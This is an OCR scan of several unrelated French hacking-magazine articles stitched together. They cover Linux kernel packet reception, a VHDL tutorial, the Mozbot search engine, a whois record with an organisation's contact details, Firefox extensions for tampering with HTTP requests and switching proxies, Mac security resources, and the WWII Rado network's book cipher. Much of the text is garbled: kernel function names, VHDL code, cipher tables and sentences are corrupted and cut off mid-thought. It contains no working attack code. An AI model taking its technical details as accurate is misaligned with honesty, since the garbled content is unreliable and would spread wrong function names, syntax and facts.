denchard_start wmit(skb)

Handler dintermuption
net_ne_actioni]
dppel de dev-=pall()

= process_backlog

Driver 1 Appel de natif_nd)
Interruption NET_RX_SOFTIRG

structure sk_buff. Elle finira
par appeler ip_rev finish()

(net/ipv4/ip_input.c).
ip_rev_finish{) invogquera
ip_route_input()

(net/ipvd/route.c).

S'ensuit alors un ensemble de
fonctions lices au routage des
paquets ou le noyau consul-
tera la table de routage pour
savoir ou le paguet doit étre
acheminé. Dans notre exem-
ple, le paguet ne doit pas éwre
rooté, sa destination est |a
machine elle méme, c'est donc
un routage locale. Les fone-
tions de routage vont donc
initialiser le champ skb->dst-
>input de notre paquet a la
fonction  ip_local_deliver()
(net/ipvd/ip_input.c). Cette
fonction va ré-assembler les
paquets fragmenter avant d'ap-

peler la fonction ip local deli-
ver_finish() (netipvdip_inputc).
Celleci va consulter la liste des
handlers correspondant aux pro-
tocoles sous-acents au protocolke
IE 1l s'agit d'une liste de structures

Réseau

de type inet_protocol nommeée
inet_protos (initialisée lors du
démarrage du systéme) corres-
pondant chacune 3 un protocole
{on y trouvera donc TCRUDP..).
Elle finira par appeler inet pro-
tos[ TCP& | 5]->handler(), car c'est
le protocole TCF qui  est
CONCEME par notre exemple

Le handler est associé dans le
cas de TCP 3
il _soviishoe o elwnd)
{netfipvditcp_ipvd.c). La aussi,
de nombreuses fonctions rela-
tives a TCP sont appelées afin
de traiter et d'extraire les
données du paquet. Nous nous
contenterons de les citer :
tep_v4_do_rev(),
tcp_data_queue(), skb_tail(),
skb_dara_ready(). Cette
enchainement de fonctions va
tenter de déterminer la socket

la fonction

devant recevoir le paquet Une
fois la socket concernée trouvée,
le paquet va y étre attache et b
socket sera informée qu'un paguet
st disponible, Lorsguiun appel sys-
wme de type sys read() sem

declenche pour lire dans la socket,
celui-c se contentera dextraire de b
socket utiisée le premier paquet

Yoir le troisieme schéma pour
une vue synthétique. Les fonc-

tions encadrees en rouge sont
les fonctions independantes du
protocole utilisé. Elles seront
appelées dans tous les cas.

Conclusion

Maous avons fait un tour global de
limplémentation du réseau. Je
vous invite a etudier plus profon-
dement les fonctions citées, et
SUITOARE [es structures manipulées
{struct socket, struct sock, struct
sk_buff, struct net_proto family,
.~). On se rend compre que ['im-
plémentation est complétement
dynamique et qu'il est trés simple
de rajouter des familles de proto-
coles ou des protocoles specifi-

ques. Dans un prochain article,
nous verrons comment, a laide
de modules, nous pouvens inter-
agir avec tout ¢a. Sur ce, je vous
souhaite une bonne etude !
el
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Un peu d'histoire pour
débuter..

VHDL signifie Very High Speed
Integrated Circuit Hardware
Description Language. Clest un
langage de synthetisation des
composants electroniques ne
de 'impérieuse nécessité
les différents
langages de description mate-
riel déja existants. La premigére
norme YHDL fuc |a IEEE 1076-
87, parue en décembre |987.
En effet, jusqu'a cette date,
chaque société spécialisée

d’uniformiser

dans la Conception Assistee
par Ordinateur proposait son
langage propriétaire (c'était le
cas avec M chez Mentor
Graphics,  Verilog chez
Ladence etc.) mais egalement
des langages pour la synthése
et d'autres pour le test. Bref, 2
l'epoque, il s'agissait d'une
vraie « jungle ».

Ainsi, au debut des années
1980, le DOD (Department
Of Defense — Département de
la Défense Américaine) confia
a trois societes (Intermetrics,
|.B.M. et Texas Instruments) de

metre au point un nouveau

langage apte a assurer a ToOUS
une independance vis a vis des

societes tierces existantes et
de leurs outils de développe-
ment. C'est donc de cette
maniere que YHDL est ne.
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Décrire des composants électroniquers

Aprés avoir étudié les concepts fondamentaux des systémes

d’exploitation, il nous font revenir a la conception hardware
et commencer a réflechir a la programmation de notre
FPGA. Pour cela, nous entamons une nouvelle étape avec la
découverte pas a pas du VHDL, langage de haut niveau permettant
de coder ce style de puce...

Les normes se sont succédes ;
soulignans ainsi |'existence,
dés 1994, de la version IEEE
1076-93 puis de I'lEEE | |64 et
enfin de la norme IEEE 1076.4.
Tres récemment encore, des
modifications ont eu lieues
avec I'lEEE 1076.1-1999 qui
déemontre bien la vitalite du
langage VHDL qui est, depuis
sa mise au point, un reel suc-
ces.

Les avantages

du langage VHOL

En premier lieu, VHDL est un
langage portable. Ensuite, le
langage a un aspect généraliste
ce qui permet une forte abs-
traction de ce que l'on veut
creer ce qui permet la modé-
lisation. Il est certain qu'on fur
et 3 mesure de votre avancee
au sein de VHDL, vous décou-
vrirez d'autres avantages.
M'hesitez pas 2 venir nous en

faire part dans la rubrigue
hardware du forum en ligne de
votre magazine prefere ! ! |l
est desormais temps de se
lancer i I'assaut de ce mysté-
rieux langage...

Un premier survol..
Un code VHDL se compose
toujours, lors d'une approche

VHDL permet la manipulation
d'un certain nombre d'cpéra-
teurs décrits dans le tableau

minimaliste, de deux parties | n°|
distincres.
OPERATEURS LOGIQUES
And MNand
Or Mar
Xor Xnor
Mot
| OPERATEURS RELATIONNELS
= Egpl
> Supérieur
| == Supérieur ou égal
| f= Different
| < Inférieur
<= Inférieur ou égal
i OPERATEURS ARITHMETIQUES
+ Addition
- Soustraction
i Multiplication
/ Division
mad Modulo
Valeur absolue

La premiére s'appelle FENTITY
et correspend a la description
des entrees-sorties du circuit.
La seconde, regroupant |a des-
cription du  circuit, se
dénomme ARCHITECTURE.

Tableau n®l — Les opérateurs
avec VHDL

Il est egalement possible de
manipuler des affectations,
comme dans tous les langages



de haut niveau, Ainsi, une varia-
ble s'affecte par := (dans un
process ; ne vous inquiétez pas
si le terme est obscur, nous

"éclaircirons au fil de nos aven- |

tures !) tandis qu'un signal se
met en evidence par <=,

Entrons maintenant dans la
partie ENTITY dont nous
avons déja precisé |'existence
un peu plus haut. Elle corres-
pond a la description de notre
puce avec le monde extérieur
c'est i dire l'intégralité des E/S
ou WO (Entrées-Sorties ou
Input/Cutput).

L'entéte du programme est de
la forme :

ENTITY
--nomprog est le

nom de programme
PORT (

--Description des

nomprog IS

entrées ici
)i

END nomprog ;
Pour la description des
entrées sorties, il est possible

d'user de deux méthodes.

La premiére est dite « classi-
que » et s'avére trés simple a
mettre en !uvre. En effet, pour
chaque entrée, on utilise IN
BIT ou IN veut dire que c'est
une entrée et BIT qui veut

dire que l'on a affaire a une
sedle entrée ne pouvant pren-

dre que la valeur O ou . |

Cette derniére désignant I'état
actif, la premiére I'état inactif.

Lorsque I'on doit definir une
sorte, le IN céde sa place a un
OUT et le BIT signifie tou-
jours la méme chose.

Voici un court exemple illus-
trant cela :

ENTITY nomprog Is
PORT |
o, 1 R R & L
L BLe
-~ R - AR N
OUT BIT),
END nomprog ;
Le programme ci-dessus
déclare donc quatre entrees
(DO 4 D3) et tout autant de

sorties labellisées a 4 d.

La seconde méthode nécessite
I'utilisation de bits vectors, Elle
permet la définition rapide de
plusieurs bits. Il faut définir le
nombre de bits i I'intérieur de
chaque wvecteur ainsi que le
sens de la numérotation. Afin
d'éviter la confusion possible

dans le sens des bits, il faut com-
mencer par la valeur egale a nbits-
| et finir a 0 en utdlisant downto.

Voici I'exemple d'un bit vector
de 8 bits d'entrée appelé A :

A : IN BIT VECTOR
(7 downto 0O) 3

Il est aisé d'utliser des entrées
comme des sorties comme le
demontre le petit exemple ci-
apres !

EHNTITY
PORT (
A IN BIT VECTOR

(3 downto 0} ;

nomprog IS

-- Les guatre enbrées

B : OUT BIT VECTOR

(7 downta 0) ;

—— Les quakre sonrties
END nomprod

L'architecture, quant a elle,
correspond a la partie la plus
complexe, celle qui au coeur du
programme et qui se place
juste apres 'ENTITY.

Elle débute toujours de la
meme maniere ;

ARCHITECTURE
nomarchitecture OF

nomprog IS

BEGIN

| Elle se termine toujours par :

END nomarchitecture

L'architecture correspond a la
description de la fonctionnalite

de notre FPGAL |l existe deux
rypes de description qui peu-
vent cohabiter. La premiére est

| dite paralléle. En son sein, linté-

gralive des opérations se
deroule de maniére concur-
rente. La seconde, dite séquen-
tielle, permet a toutes les opé-
rations de se dérouler dans l'or-
dre ou elles sont décrites, au
sein d'un process. Nous verrons
cela en dérail des le prochain
numéero. En attendant noubliez
pas de réagir sur le forum du

site internet du magazine.
Google

o vhdl tutorial
o vhdl gpl simulator

* . 12
¢ PEL I_}
o 'ﬂj '

WIKIPEDIA
1 emcyclopédie bibre
e VHDL

e Baoscule
o FPGA




‘est le 28/06/05 quest
officiellement lancé le
nouveau maoteur de
recherche baptisé "Mozbot",

cree par Abondance,
Raynette.com et Brioude
Internet.

Lobjectif premier de I'équipe
Mozbot a eté d'ajouter i ce
moteur les fonctionnalités qui
manquaient 2 Google, Clest
ainsi le 4éme partenariat de
Google avec une société fran-
caise, apres Free, Numericable
et Club-Internet.

S0n hestoire

Mozbot s'appelait & I'origine «
reacteur.com ». Depuis sa
creation en 2003, il avait pour
but de représenter un « labo-
d'idées dans e
domaine de la recherche d'in-
formations sur le web.»

L'équipe de Mozbot a eu I'oc-

casiaon de signer un partenariat

ratoire

avec le moteur le plus connu,
pour le resultat des recher-
ches et les liens commerciau.
De I3 leur est venue [idee
d'ajouter des fonctionnalités

complementaires, comme |"af-

fichage de vignettes (copie
d'écran de site), « black list »
personnalisable, informations
sur les proprietaires des sites
affichés (whois), etc.

Cette idée

premnant une

Nl

P et s
e

g

-

Ce qui manquait a Google

Pour vos recherches avancées, ce jeune moteur de recher-
che frangais pourrait bien devenir un concurrent sérieux de
son partenaire Google. Méme si les résultats de bases sont
Issus de la méme source, les surcouches de fonctionnalités
et de filtres proposées sont particulierement utiles.

recherché.

des
vignettes est le résultar exact
de ce que vous obtiendrez en
cliquant sur le lien.

Les informations sur les pro-

L'affichage

prietaires et autres (whois), se
font au travers de la société
Alexa (alexa.com), une filiale

e ehe = Frarcoprone du groupe
0 amlen S8 bl e Cighs 7
Mozbot a aussi intégre dans
® B 8 @ ® son moteur, les « mozwords
(e Paiey el Cwisd  Psermater ». |l s'agit en fait de suggestions
e veswp P

de recherches qui apparaissent
Mok i srcimerie B Sbordarce, Brisde-Filsesad il Paswis
B el eac Doogis - W@l 08 - LE - PR

dans un menu déraulant, au fur
et a mesure que les lettres
sont entrées. Contrairement

grande envergure (internatic-
nale), I'equipe a jugé que le
nam

i reacteur.com » etait
trop « franco-francais », et a
decidée de le rebaptiser «
Mozbot =.

Technologies utlisees

Bien évidemment, pour la par-

tie « affichage des résultats »
et les « liens commerciaux »,
Mozbot, appuye sur
Google.

Les copies d'écran (affichage
des vignettes) qui apparaissent

5 est

lersque 'on positionne la sou-
ris sur certains liens, sont
directement issues de la tech-
nologie de Open Thumbshots
(cf. www.thumbshots.org). Ces
thumbshots sont des copies
d'ecran des pages web, per-
mettant de repérer rapide-
ment et facilement le site

homche Mol Wosllg |astos

aux suggestions de Google, qui
s'en tiennent & l'orthographe,
celle-ci dépendent de plus de
parametres.

Cette nouvelle fonctionnalite
a été deéveloppée par la
société « surfmax »
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dittérences entre Google et Moxbot

1) Sur la page d'accueil

Mozbot fr s'adresse clairement a des utilisateurs francophones.

Il existe cependant une version internationale : Mozbot.com.

® Recherche par défaut sur le VYWeb francophone (alors que le site
poogle fr effectue par défaut ses recherches sur leWeb mondial).

® Recherche sur le Web international limité par défaut a deux
langues (frangais, anglais), avec possibilité d'ajouter d'autres
langues dans les préférences.

® Possibilite de choisir quel domaine de recherche
{International ou Francophone) sera affichée par defaut sur
le moteur lors de son utilisation.

2) Sur les pages de resultats

C'est sur cette page que les fonctionnalites les plus intéres-

santes apparaissent.

® Affichage d'une copie d'écran ("thumbshet") du site lersque
vous passez |a souris sur le titre d'un lien (fonction désacti-
vee par défaut, activable dans les préférences).

Ce permet de retrouver plus facilement un site, ou de discrimi-

ner les sites en fonction de leur apparence (publicite, etc.).

® Lien "Infos” proposant des informations (si elles sont disponi-
bles) sur le site présenté : propriétaire, adresse, coordonnees,
copie d'écran, etc. Pratique pour faire des recoupements, pour
mieux comprendre le contexte commercial dun site ou pour
demasquer une arnague.

@ Lien "Bxclure ce site” qui vous permet d'oter le site en question de
vos résultats de recherche futurs.Yoir b partie Synaxe de recher-
che pour en savoir plus  (hipd

® Lien "Historique” qui affiche soit la page disponible dans le
"cache" de Google (la version de la page telle qu'elle exis-
tait lorsque les robots de Google l'ont "capturée”) soit des
versions archivées de ce document grice au site
A hine. o 2,

On peut ainsi, avec beaucoup plus de confort que si on le fai-

sait manuellement, de retrouver le conrenu d'un site disparu

ou desactivé, mais également de consulter son évolution sur
plusieurs annees.

@ Statistiques : le nombre de fois ou |a requete en question a ete

demandeée le mois précédent sur Mozbot est affiche en bas de page.

e rmiczboLinsyrlase-irhtml),

D'autres actions plus classiques peuvent également étre utiles,

® Lien "Pages similaires” proposant, lorsquiils existent, des
documents de méme nature que celui propose dans les
resultats.

® Affichage de la définition de la requéte (si elle existe) grace
aux données de leur partenaire « L'Aventure Multimedia. »

@ Affichage de mots connexes (si disponibles) : suggestion de
correction d'orthographe, synonymes, expressions
connexes, ete.

® Rappel des 20 derniéres recherches effectuées par linter-
naute (fonction désactivable).

® Lien "Mettre en favori® permettant en un clic de rajouter la
page en question dans les favoris de votre navigateur (fonc-
tenne avec Internet Explorer et Firefox).

@ Lien "Envoyer par mail” qui vous permet d'envoyer ce résul-
tat de recherche par messagerie 4 un{e) ami(e).

3) Dans les préférences de personnalisation

® Possibilité de choisir sa couleur dinterface parmi 7 "parfums”
{menthe, lavande, chocolar, fraise, pistache, reglisse et groseille).

® Possibilité: de choisir le domaine de recherche par défaut (voir d-dessus).

@ Possibilite de cheisir les langues de I'option "Web interna-
tional” {voir ci-dessus).
@ Gestion de vorre liste d exclusion (voir ci-dessus).

® Activation - désactivation de l'affichage des 20 dernieres
requétes effectuées et de l'affichage des copies d'écran

@ Possibilité d'afficher les fonctions "Infos”, "Exclure ce site”,
etc. sous forme de texte ou de pictogrammes.

Bre, vous l'aurez compris, Mozbet offre moult possibilite. Des wbleawx
recapitulatifs sont disponibles sur bl feeean fridfferenceshtmi.

1. "Moxximum Power Zone"

2. "La Soupe Aux Choux" (Film)
3. google

4. yahoo

5. referencement

6. ebay

7. google earth

8. hotmail

9. poges jounes
10. Golette des rois

 main des donnees

Il ne faut pos oublier gue les gérants d'un moteur de recherche ont sous ln
stofistiques porticulierement précieuses permettant
d'évoluer les tendances et les centres d'intérét de ses utilisateurs, et leur
évolution dans le temps.

SR, v (c'est  assez
5 SRR 5 amusant), et
Faffichage des

20 derniéres
requétes
effectuees.

Conciusion
Depuis que
j& connals ce
moteur, e
I'ai mis en page d'accueil. Il esc
Austour de Mozhot « visuellement agreable », les
En plus des fonctionnalites | technologies utilisees sont
liées au moteur de recherche, | bien exploitées, Ce n'est pas
I'équipe de Mozbot a mis a dis- que je sois chauvin, mais
position sur le site, de plu- | sachant que je passe |a plupart
sieurs choses. Tout d'abord, le | de mon temps 3 faire des
blog de mozbot que I'on peut | recherches, pourquoi ne pas
visiter sur :

At RO2.mMoZ0

utiliser un moteur frangais -
itir/, et egale- | qui dailleurs meérite d'étre
ment une newsletter, une moz-  connu et plus utilisé !
botbar, et quelques widgets.
On peut également consulter

le « top |00 des requétes »

- - Reoins Whois

domain: THEHACKADEMY NET
owner-name. DMP

pwner-address: 7, rue darboy
owner-address: 75011

owneraddress. France

owner-phone: +33, 143554656
mwnerlax: +33 143554646
owner-g-mail dmpance@wanadoo. fr
admin-c: DDG1-GANDI

tech-c: DOG1-GANDI

bill-c: DOE1-GANDI

nearver nel . gandi.net 217 70177 .44
neenvar custom2 gandinet 217.70.179.35
reg_crested: 2002-10-28 11.28°9
expires; 2007-10-28 11:28:29
created, 2002-10-28 172830
changed: 2005-08-30 16:50:20

Sies simillaires
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Les extensions Mﬂllllal Firefox
qu'ti vous faut

Mozilla/Firefox continue a s'imposer comme le navigateur de
choix pour les surfeurs exigeant que vous étes, non seulement
pour ses fonctionnalités de base et son ergonomie, mais aussi
pour les innombrables extensions qui permettent d'en étendre
grandement les possibilités. Voici la sélection de la rédaction.

e Live HTTP Headers

Cette extensicn permer de modifier et de rejouer les requétes
HTTF envoyees par Firefox. Tres utile pour identifier des risques
de SQL injection en forgant les variables GET, POST ou COOKIE.
bt ekt saders mozdevor

Ve e 14 | Genmraton | Confg| Avout|

HTTP Hiuers
TR P i 3 SO IMAGELGA 51

SGET Amageutgh gif HTTP/ 1

Hist whive, ms il 0rg

U Agenl: MozflaS 0 (017 L Line S58; en-UE; re1.7) Gockn 20040818
ACCHpt magepng”m q=0 5

AcceptLampeige Bn-us, Brge05

Accaph-Encoding: qIie, defais

Accapl-Charet [50-5855-1 ul-B.q=07."g=-27

Fapdep- Sy 30

Connection: beap-altve

Fopleren- hitlg Ao mo rlla, orgfataetl 77

b

@HTTRA X 200 0K
Daln: Thu, 01 Jul Z004 07 AF-DE GMT

Server Apaches 227 (Uni) (Fed-HabLingg PHPMW 1 2
Lask-Modilec: Wed, 12 Nov 2063 233240 GMT

A T e

Wos

Ft::nn Choar | Closs

e UriParams
Pour modifier les paramétres d'une requéte GET ou POST et
rejouer 'envoi d'un formulaire, on peut plutde utiliser cette sidebar,

LALE = AL Ll T [ WL

l

Switcher

Permet de changer facilement le champs User-
Agent utilisé par le navigateur pour les requé-
tes. On peurt ainsi faire croire que l'on utilise
Internet Explorer, par exemple. Cela permet
aussi de detecter qu'un site présente un
contenu différent selon le user-agent (google
cloaking, par exemple).

.- iSer a—hﬂ&"‘“

Yoir aussi

= ddmme e

e

e dwitchProxy

Vous rechignez a laisser votre adresse IP sur les sites d'e-com-
merce que vous visitez ! SwitchProxy vous permet de configurer
plusieurs profils vous permettant de passer d'un proxy i 'autre
automatiquement, afin de brouiller les pistes. Couplé a tor et pri-
voxy, cette extension permet egalement a votre navigateur de
passer 4 un haut degre d'anonymat sur demande.

€ -9

Proxy: tor

& ) D) [ Wi/ googe coms
_u__‘ ./n.p&!-, # Edit \d Remove | ] Add

¢ >earchstat

Cette extension permet d'obtenir des informations sur le réfé-
rencement des sites que vous visitez. Vous pouvez par exemple
en connaitre le Page Rank selon Google, mais aussi sa position
dans le classement d'Alexa. Un clic vous permet également de
consulter historique de la page sur archive, org.

Lo . Ay - - .
L E s L User Agent Switches
Sl Permet de changer facilement le

| champs User-Agent utilisé par le
| navigateur pour les requétes. On

+ Enable Pagerank
¥ Enable Alexa Rank

sl st Highlkght MNofollow Links peut ainsi faire aroire que l'on ut-
LIFL without P‘F-I'l':m._ e e :hﬂ'tl T.?:;:IPI‘" lise Inoerme: E‘q}lﬂre-rl par exem-
Mt pe fwww. google. frisearch o i hol, g ; : :
At Ehow Whols p|EI.':E|.E permet auss dederec‘t;r
Show robots.tx gL un site présente un conteny dif-
e, google. frisearchihl=fricq=este :
— W - - Show Eeyword Density... férent selon le user-agent (google
r GET (4) & Ehow Indeed Pages . : - T
cloaking, par exemple). Voir .
— e i Show Backward Links | P Fll } ——
_Jl H I'r 1 i A rii e oy o ahre
| num 30 ¥
o q extension
PO N B :
- o : ¢ ohowliF
S Affiche I'ip du serveur sur lequel on se
o r.rf::-we, et pe.:rrnet en un cliqgue de
T faire un whois dessus. Il est possible | refspoof
L

de programmer dautres types de
réecolte d'information sur les adresses.

Permet de changer manuellement le champ referer des
requétes.

?f;"u:r: ..'.1-;1..'&:_.& f




Securemac est une des reféren-
ces en matiére, ceux possedant
un mac vont étre combles !

En premiére page, toute ['ac-
tualité de la sécurité mac visi-
ble en un coup d'fil. Et dans le
reste du site : virus, cryptogra-
phie, sécurité systéme, reseau
et méme physique ! Le site
propose egalement des outils a
telécharger comme des anti
spyware, des outils pour sécu-

riser OS5 X, des antivirus, des |

firewalls, des outils d'analyse

reseau et bien d'autres
encore. ..

Bien que les artciles ne soient
pas nombreux, ils ne restent
pas moins intéressants et tres

instructifs, méme si vous ne

tournez pas sur le systéme en

question.

Bref, ce site est une veritable
mine d'or pour les amateur de
I'os a la pomme. Un site donc,
a visiter et a conserver dans
vos bookmarks !

Langue : Anglois

Fink : restez 4 jour

Fink, tourt comme Darwinpors
(opendarwin.org), vous permet
d'avoir au bout des doigts, sur
votre mac, plus d'un millier de
logiciels libres, au départ écrits
pour UMLEX et ses derives.

En effet, vu la pauvreté des softs
libres portés en conscle cu gra-
phiques sous Os X, une equipe
de développeurs a décidé de
kancer ce projet visant a agrandir
la petite porte du monde des

peu de securite
Macintosh

On pense souvent que les heureux propriéetaires de Macintosh
n'ont pas de soucis a se faire pour la sécurité de leur systeme.

Mais comme pour tout autre systéme, cela demande, a un certain
niveau, un peu de connaissances et de pratique.

R e vy Mew Mac Securily MNews
Wha Just sdded rhe Rallowing Dabs to our Sime: :ﬁm
5, 70 2015 Hews: S
ki o ‘i dllores yioid bo sahe seorey Becuniy Tonin
rwnough the Dr:ur-h rerbwnds allowing for Siripeping of ]

0=
E ket rerrean by e probect lom of P cear wibdls
B pufing. Some ot festures incheds surfng i text
E2  orly, remowe cnokies, remowve soripts, hide refersl
& nformation and other enceding ook iens,
BB Bl
e sty update s available e Mec 05 X
dommdcaadable froem tha Software Lindabs sysbam
preforanon nanel.

: 6.2 2005 Nawes iR
: » CuECETEMS 7.0 contains a searity bug when a
E::m*'_lﬂi! mreaiciously oafted i can ek

+ Driabee Singly Ups: G818 b0 &N Srbitrary weed kocakion w hag release

Bo Moge Gk T i 7.0.1 which addresses this Ssue, users Ltk Pre

* MY - ] D e - Rl
LG i

mﬂ Wth tha relesse of Mac 05 ¥ 10,4, the wersion of
. - Filevadt nchaked addresses an lsesn dsorssed in thes

m" © Filgat sovisory. Mac 05 K 10 4 pllows the user to

e Eac ety felete thie data, nowewer the Issae still el 1.3

Briies [an remains 10.3.9 gt rany

" Ehphea sob- Y
5. 2005 Hows * B AV

Farn Anll=Virus (Clamay Mac 05 X Is affected by 2 il "-.:_,l‘ Hap
pormmand sxecution walnerability &3 desonibsed within [+

logiciels libres sous mac. La pestion des dépendances

Fink est calqué sur le répute
gestionnaire de paquetage de
Debian (apt, dpkg et dselect).

" @i FinkCommander  Fils

Edn_ View Sounce Binary ool

vaus évite ainsi tous les proble-
mes de compilation auxquels
on est trop souvent canfronte.
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| Vous pourrez par exemple, avoir

etrercap-ng ou tepflow sur votre
mac, sans effort (fink install

tepflow). Sur un poste exposé

| utilisant des logiciels libres, c'est

aussi un tres bonne maniere de
garder son systéme i jour du
point de vue de la securite

Et si vous étes allergique a la
console, une interface graphi-
que tres simple est aussi dispo-
nible (finkcommander.sf.net).
Ce soft trés pratique pourra
enfin élargir votre bibliotheque
de programmes ! ;)

05 : Dorwin ou Mac 05/X
Taille : 18 M
URL :hitp://Tink sourceforge.net

Mair encore :

® Un pefit site du liph publie
diverses informofions frés ufi-
les relntives oux macintosh de
toutes versions, el recense les
annonces principoles (correc
tifs, nouvelles versions, etc.).
On y trouve également des
tutos sur lo configuration d'un

VPN ou lo gestion des cerfificats.

® Pour le Wifi, Mac

stumbler est
un hon outil de hase parmet-
tan! d'obtenir des informations
sur les occess points du voisi
noge. On peut méme le coupler
i un récepteur GPS. Attention,
to ne fonclionne qu'avec une
tarle Airport.
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'est pour éviter ce genre
cde "situation désagréable”
que tous les messages
emis par le réseau Rado, faisant
partie du célébre Orchestre
Rouge, et dont ['objectf était
dinformer Moscou sur les activi-
tes militaires de ['‘Allemagne

durant le dernier canflit mondial,
étalent codés.

Complique mais efficace !

Le chiffrement de ces messa-
ges se faisait au moyen d'un
systéme particulierement
compliqgue mais qui n'était rien
dautre qu'une substitution
alphabétique du texte clair
conjugué avec un surchiffre-
ment tout aussi "indigeste”.

Ce systéme de substitution
ewait basé sur un mot clé qui
pouvait étre modifié en tout
temps, ¢'est-a~-dire lors de 'ex-
pédition de chaque tele-
gramme. Quand on parle de
teléegramme, il ne s'agit pas du
télegramme sous forme de
papier que 'on avait I'habitude
d'expedier il ¥y a encore une
vingtaine d'années. Il s'agissait

les chiffres de la réristance

Le service de renseignement suisse a intercepte, fin de I'an-
nee derniere, un fax @manant du gouvernement égyptien et
destine a son ambassade en Angleterre. Ce document non
crypté confirmait la présence de prisons secrétes de la CIA
dans difféerents pays européens. Un journal helvétique ayant
rendu publique cette information secréte, on peut dés lors
en parler et surtout se poser de nombreuses questions..

constituer la cle de substitu-
tion, ensuite crypter le mes-
sage et enfin procéder i
message en
morse tout restant dans ['at-
tente d'une confirmation radio
de bonne reception. Entre le
moment ou une information
arrivait dans le reseau, il fallait
compter facilement a un a
deux jours avant que cette
derniére n'arrive 3 Moscou.

AiounTini, nous dsposons
dinternet

I'émission du

Cela nous change des possibilités
d'Internet qui livre des infor-
mations et des images dans le
monde entier en quelgues
secondes, Sans compter sur
les procédés de cryptage qui
ne mettent que quelgues
secondes pour operer sur plu-
sieurs dizaines de pages de
documents, 5i les temps changent

Sommes-nous slrs que nous
pourrens toujours disposer de
ce fantastique réseau de trans-
fert d'informations qu'est le
Met ! Qui peut, aujourd'hui,
assurer la fiabilite de la Toile
dans le temps !

M'oublions pas qu'lnternet est
un ensemble de différents
reseaux independants qui col-
laborent dans un but de renta-
bilite de leurs infrastructures
et que |a principale motivation
est d'ordre économique.

Il n'existe aucune institution ni
aucun  gouvernement en
mesure de garantir la longévité
du systéme Internet.

Clest du "pipeau” qui fonc-
tionne tres bien et qui est
garanti par la qualité de ses uti-

lisateurs. Le monde entier

exploite la Teile et il ne vien-

du marché pétrolier démontre
aussi que des branches sont
sciées ou en train de se scier. |l
existe malheureusement
encore bien d'autres exemples

qui sont tout aussi parlant.

Le procede de transmission
basé sur I'émission d'infor-
matient en ondes courtes
etait également dépendant
des conditions météorologi-
ques. Les orages pertur-
baient la qualité des trans-
missions. Comme les trans-
missions se faisant entre la
Suisse et Moscou, on peut
s'imaginer que des condi-
tions metéorologiques favo-
rables, simultanément aux
deux endroits, n'étaient pas
du tout garanties. Ce sont
tous ces éléments qui ralen-
tissaient la transmission des

infarmations.

en fait de la transmission de
signes en code Morse au
moyen demetteurs a ondes
courtes,

Travail long et fastidieux, car il
fallait dans un premier temps,

et la technologie également, il
ne faut pas regarder le passé
avec nostalgie mais unigue-
ment se poser quelques ques-
tions . Que se passerait-il
aujourd'hui en cas de conflic ?

drait a personne l'idée de scier
la branche sur laguelle il est
assis. L'évolution économique
en Europe et ailleurs démon-
tre que bien des branches sont
malgre tout sciées, L'évolution

La clé de cryptage, un
documment trés confidentiel

Mais parmi ces éléments
contraignants, le primordiale
demeurait bien évidemment
celui de |a clé de cryprage.



Cette clé éwit constitue sur la
base d'un document unique et
connu par les personnes qui
cryptaient et decryptaient les
messages. En principe, per-
sonne en dehors de ces per-
sonnes ne devaient connaitre
l'existence de ce document
unique. Dans le cas du réseau
Rado, personne  avait
connaissance de ce document
unique et ce détil n'a pas
passe inaper¢u aux yeux des
inspecteurs de la police féde-
rale lors d'une perquisiticn de
son appartement. Le reseau a
ete demantelé tres rapidement
a la suite de certe erreur.

une

A 'heure actuelle, nous devons
rester tout aussi attentf lors de
I'élaboration de cryptogrammes
car si les moyens technigues
nous permettent daller trés
loin danms la précision et le
brouillage au moyen de nom-
bres premiers, par exemple, ces
memes moyens techniques
demeurent tout aussi redouta-
bles pour nous depister, pieger
et surtout se mettre des auto
goal. Restons attentifs au fait
que si nous avons passé de ['age
des canons et des boulets en
des missiles
nucléaires, nous détenons un
armement surdimensionné qui
fera dautant plus mal quand il
explosera, chez nous, et non pas
chez I'ennemi.

fonte a celui

Un roman comme
document de référence

ce roman decrivant en partie
la carriere d'un sportif,

Et c'est justement ce roman,
découvert lors d'une perquisi-

ce qui dannait, en respectant la
non répétition des lettres déja
saisies:

tion, qui autorisa, entre autres, I TN = T B oA 6y H
les cryptanalystes de casser le
code du réseau sovietique. L'attribution numeérique se fai-
Lors qu'un message etait envoyé | sait ensuite en respectant |'or-
par radic, il contenait, en téte, dre alphabetique, soit:
les informations suivantes :
La date d'émission, le numero | 2 3 7 6 4 1 4 0 B 5
du télégramme, l'indicatif de = D E 5 0 1 A U X i H
'emetteur et la frégquence
radio utilisée. Suivaient ensuite  Les mots de ['alphabet manquants |
un checksum sur le nombre complétent [attribution ci dessus,
de groupes de cing chiffres. soit
Enfin, un code de cing chiffres
qui indiguait un point de refe- 2 3 / 6 4 1 9 0 8 5
rence dans ce fameux livre. L E S o 1 A U X T N

B - F - H uJ K L M '
lafemusialonpaiecnme o r v 0w v 7
Le code de reference |5382,
par exemple, indiquait que le
mot clé se trouvait la page B2,  Apres avoir constitue cette Si i texte etait e suhvant :
sur la 15 éme ligne en com- premiére partie de l'alphabet | Par un beau matin du-mois de
mencant 4 compter par le bas | de substitution, il suffisait de | septembre de cette année par-
et qu'enfin il s'agissait du 3éme | reprendre le texte situé avant | ticulierement ensoleillée, le
mot depuis la gauche, le mot clé déterminé et consti- | chant des oiseaux etait ...

tuer la cle de surchiffrement = On obtenait le resultat de la
Lalphabet de substitution | definitive, figure |.
etait alors constitue
demaniéretradition- p 4 R U N B E A U T L M D U M8 1 &5 BE
nellesurunebasede 5 1 2 o985 2 3 1 oleg 1 8 4 5]2 o 8 & 4]z 2 al
|0 positons corres-

.. % E F T E M B R E D E CE T T E A B N E E
P':'”_d_-""'t X _d"":[? sl & 3 & 27273 2 3 al3 & @ 3 F1w 0 3 04
positions  numeri-
ques pouvant étre P A T 4 6 U k R E M H T E N &% © L &
utillskes an moree.  L3L g4 3] 0 4 3 3|3 8 3 5 3)3 5§ 7 p 6131
I L E E L E E H & M ¥ D B

5. par exemple,ce code [y~ ¢T3 o s R ER TN o

permettait de trouver
la phrase suivante:

Le document unique permet-
tant le cryptage des messages
n'était rien d'autre qu'un livre.
Un simple roman en langue
allemande. "Ex begann im
September” tel etait |e titre de

Ie chamt des oiseaux était
distinct et mélodieux

On partait de
etait distinct...” pour consti-
wer I'alphabet de substitution
nécessaire au surchiffrement,

"des oitealx

Ainsi etait creee, la clé nécessaire au surchiffrement de l'alphabet
de base constitué de maniére quasi identique. Restait ensuite a
constituer des groupes de 5 chiffres en commengant par les deux
